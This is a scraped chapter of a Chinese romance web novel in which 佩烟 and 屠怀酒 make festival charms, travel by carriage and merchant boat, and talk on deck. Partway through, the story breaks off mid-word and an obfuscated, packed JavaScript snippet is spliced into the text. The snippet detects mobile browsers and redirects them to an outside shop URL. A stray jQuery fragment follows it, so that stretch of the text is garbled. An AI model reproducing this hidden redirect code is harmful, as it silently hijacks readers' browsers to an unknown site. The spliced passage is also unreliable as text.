再过两天就是端午,这么重要的节日不能在路上度过,屠怀酒答应佩烟等过完节再走。
山庄自有桃树和柳树,徐伯买了些菖蒲和艾草回来,顺便将佩烟要的东西送过去。
佩烟坐在栖羽阁院中桂花树下,打开徐伯送来的包裹,屠怀酒在一旁扫了一眼,花花绿绿什么都有。
“好啦,我们先来做百索。”佩烟煞有其事的系上襻膊,招呼小五,“你站那么远干什么,过来呀。”
小五无比僵硬的瞄着地面。
佩烟还在等他,屠怀酒抬眸瞥了他一眼。
小五立刻向佩烟靠过去,然后又像是想到了什么,飞快且不经意的脚下拐弯,抖着上身坐到了屠怀酒的旁边。
佩烟将彩线捋顺平铺在石桌上,又打开装着珍珠和玉环的小匣子。
屠怀酒看她一脸认真的搓起彩线,“为什么不直接买?”
“买啦。”佩烟对自己的手艺十分了解,最后肯定编的丑兮兮,所以让徐伯都一并备好了。
“串着玩嘛。”佩烟拿起一颗小珍珠穿过彩线,大小刚好传过去,她紧接着又串了好几颗。
小五捏着彩线不知道从何下手,但一直低头装作很忙的样子。
屠怀酒拿起彩线对折成环,将一端从环中穿过拉紧,随后调整方向重复同样的动作,不多时手里就多了一个彩结。
佩烟将小珍珠都穿进彩线里,乍一看就是一条珍珠手串,她抬头扫了眼屠怀酒,随后乐了。
“你怎么把百索做成彩结了。”她说,“也行,可以坠在彩囊下面。”
说着,她又想要去做彩囊,手里的珍珠链还没收口,晃晃悠悠的荡在空中。
屠怀酒将彩结递过去,随后撩开袖角露出手腕,“给我吧。”
佩烟本来是做着玩的,没想到真要戴,她又多串了几颗小珍珠,搭在他腕上试了试。
“真戴啊?”她打量了一下,“会不会很怪?”
屠怀酒:“哪里怪?”
不怪吗?佩烟心里嘀咕。
珍珠带着佩烟掌心的温度在他腕骨摩挲,手串需要收口,佩烟小手忙叨着,指尖时不时擦过,像轻轻扫来的羽毛。
在手串末端收口打结,佩烟看着莹白的珍珠串牢牢扣在深蜜色的手腕上,有种大功告成的满足感。
她双手拍了拍屠怀酒的手腕,“戴好了可不许掉哦。”
屠怀酒垂眸,手串上还留有佩烟的温度,就像是她一直握着他的手。
百索玩够了,佩烟又开始摆弄起彩囊,徐伯已经买好了现成的彩绸袋子,只需要把稻米和李子放进去,再抽紧袋口就完事。
佩烟咬了口李子,甜滋滋的汁水很足,她分给两人,“快尝尝。”
照这个架势,感觉放不进彩囊,直接都装肚里了。
屠怀酒看到包裹里还有菖蒲和刻刀,“你还要刻葫芦吗?”
佩烟摇头,“不刻了。”
玩也玩够了,等到端午那天,佩烟和屠怀酒亲手将桃枝柳条等物摆在门口供奉。
佩烟将买来的画扇送给山庄的仆人们,又去东厨观摩徐伯用艾草灰淋汁煮粽子。
忙活了一天,最后躺到床上,佩烟看着床帐上的纹路,想到明天就要启程去看海,心中充满期待。
回想起最开始,她因为夜游症突然出现在陌生的环境时,心中总是茫然无措。
但现在,她有了认识的朋友,夜游症也莫名其妙的治好了,看到新鲜事物时第一时间不是想“这些并不属于我”、“应该回到平凡的生活去”,而是开心的去享受当下。
佩烟满足的想,这样的状态真好,但她是从什么时候开始转变心态的呢,她自己好像也说不清。
迷迷糊糊地想着,佩烟逐渐陷入沉睡。
第二天,她第一次醒在窗外的鸟叫前,佩烟收拾好行囊,开开心心地坐上了马车。
等走出了盛京地界,她才突然想到一件事。
“我的马车还在客栈后院!”佩烟看向屠怀酒,“我只付了一晚的钱,他们不会把车弄走吧?”
屠怀酒:“哪家客栈?我让苟离过去。”
“聚相逢。”佩烟问,“你要给他飞鸽吗?”
屠怀酒瞥了眼晃动的车帘。
佩烟敏感起来,“你不会让小五跑回去传话吧?”
“离得不远。”屠怀酒淡道。
佩烟扬起眉梢,“你还真想让他去啊?”
屠怀酒:“那他为什么跟着我们?”
“驾车呀。”佩烟没觉得有什么不妥,“而且他这么多年都没出过庄子,我们带他出去玩不好吗?”
屠怀酒面无表情的看着她。
佩烟握着他的手腕,隔着衣袖能感觉到珍珠串在来回滚动,她轻轻摇晃,“飞鸽吧飞鸽吧,好不好?”
屠怀酒:“你总是这样。”
“嗯?”佩烟疑惑。
屠怀酒眼里溢出无奈,“好。”
嘿嘿,佩烟笑起来。
从盛京出发去宗海,中途会从陆路换到水路。
听说这事后,佩烟就无比期待走水路,几乎每天都要问一遍。
“我们什么时候坐船呀?”
屠怀酒将吃剩的包子随手扔给路边的小狗,再一次不厌其烦的回道,“再等半个月左右。”
在驿站住了一夜,喂了几次小狗,临走时它竟然摇着尾巴跟了上来。
屠怀酒挡在马车前瞪着它,佩烟撩开车帘奇怪道,“不走吗?”
屠怀酒:“等下,小五去茅房了。”
佩烟放下车帘。
原本在马车后面绕道躲他的小五闻声停下脚步,不知道该不该过去。
屠怀酒似有所感,瞥了眼小五的方向,对小狗低声说,“碍眼的一个就够了。”
小狗听不懂,小狗摇尾巴。
屠怀酒:“喂你不是让你过来碍事的。”
说着他作势上车,小五眼尖,赶紧小跑两步过来驾车。
马车晃悠悠的离开驿站,小狗并没追远,最后还是垂着尾巴返了回去。
经此一遭,小五莫名感觉屠怀酒对他的态度从冰冷变成了冷淡。
这种感觉一直持续到水路坐船,商船内人满为患,每个隔间都有人,当他得知要和二人同处于一个空间内时,能感觉到冷淡瞬间攀升至冷血。
小五顿时握紧隔壁商人的手,相见恨晚,“大爷,您长得好像我亲大爷。”
只是路过的隔壁商人:?
小
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709867|206995||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
五不管三七二十一,搭着大爷的肩膀就开始聊天,聊着聊着就聊进隔壁屋,将那股感觉隔绝在外。
“我就知道,刚开始就不应该答应出来。”小五嘀咕。
商人:“你说什么?”
小五竖起拇指:“大爷您穿的好气魄,咱家卖什么的,需不需要帮手啊?”
佩烟在不大的空间里转了一圈,随后看向门外,“小五呢?”
目睹全程的屠怀酒十分自然的关门,“碰上亲戚了。”
“啊?”佩烟信以为真,“那可太巧了。”
“是啊。”屠怀酒观察她的神色,“坐船难受吗?”
“不难受。”佩烟摇头,“我以前也坐过一次,不过不是这种大的商船,而是那种小舟。”
佩烟跪坐在蒲团上,手臂比划着,“我们村的牛二叔说他会划船,非要带着我和牛二婶坐船,说是赏景。”
“也不知道他从哪儿借来了一个小舟,他在舟头划桨,我和牛二婶坐在后面晃悠,心都快跳出来了。”
“什么景色都没看,光顾着盯他别掉下去。”
佩烟笑,“那次船晃悠成那样我都没晕,这次商船这么稳,我更不会难受了。”
屠怀酒:“那要出去看看景吗?”
“好呀。”
船上鱼龙混杂,屠怀酒不放心,去船尾这一路一直牵着佩烟。
相较而言船尾人很少,三三两两的分拨站着,似乎也是出来赏景的。
水面波光粼粼,两岸青山随波退去,江风徐徐,吹起佩烟腰间的绦带。
屠怀酒:“好看吗?”
佩烟抬头看他,脑海中却突然浮现牛二叔站在船头转身对牛二婶乐呵呵的模样。
那个时候牛二叔也问,“好看吗?”
佩烟记得牛二婶心都提到嗓子眼了,当时手牢牢抓着船身,生怕被牛二叔一个船桨翻下去。
但她依旧扯开笑容,“好看。”
在牛二叔一脸满足的转回去继续划船时,牛二婶的笑容又被担忧替代。
屠怀酒轻轻捏了捏她的手指。
佩烟陡然回神,“怎么了?”
屠怀酒:“你不舒服了?”
“什么?”佩烟很快明白过来,“没有,我是觉得你刚刚有点像牛二叔。”
屠怀酒挑眉,“你觉得我老了?”
佩烟笑出声,“什么呀。”
在船尾又看了一会,日头太晒,两人很快往回走,路上佩烟抓着屠怀酒的袖子,问起客栈马车的事。
“苟离回消息了吗?”佩烟有些惦记,这都过去好久了,“他知道我们在哪儿吗?信鸽会不会找不到啊?”
屠怀酒敛睫,“前段时间已经传回消息,你的马车他拿回来了,路上忘记告诉你,抱歉。”
佩烟松口气,“那就好,我跟你说,那匹马又乖又聪明,我赶这一路多亏有它,幸好没被掌柜扣下。”
说着,她推开门进了屋子,身后迟迟没有动静,佩烟回头看去。
屠怀酒站在门口,高大的身躯在地面投出一道阴影,笼罩住佩烟,看不清神情。
“是吗。”屠怀酒的嗓音平淡,没有一丝起伏,就像在说一会吃什么一样稀松平常,“那可真是太好了。”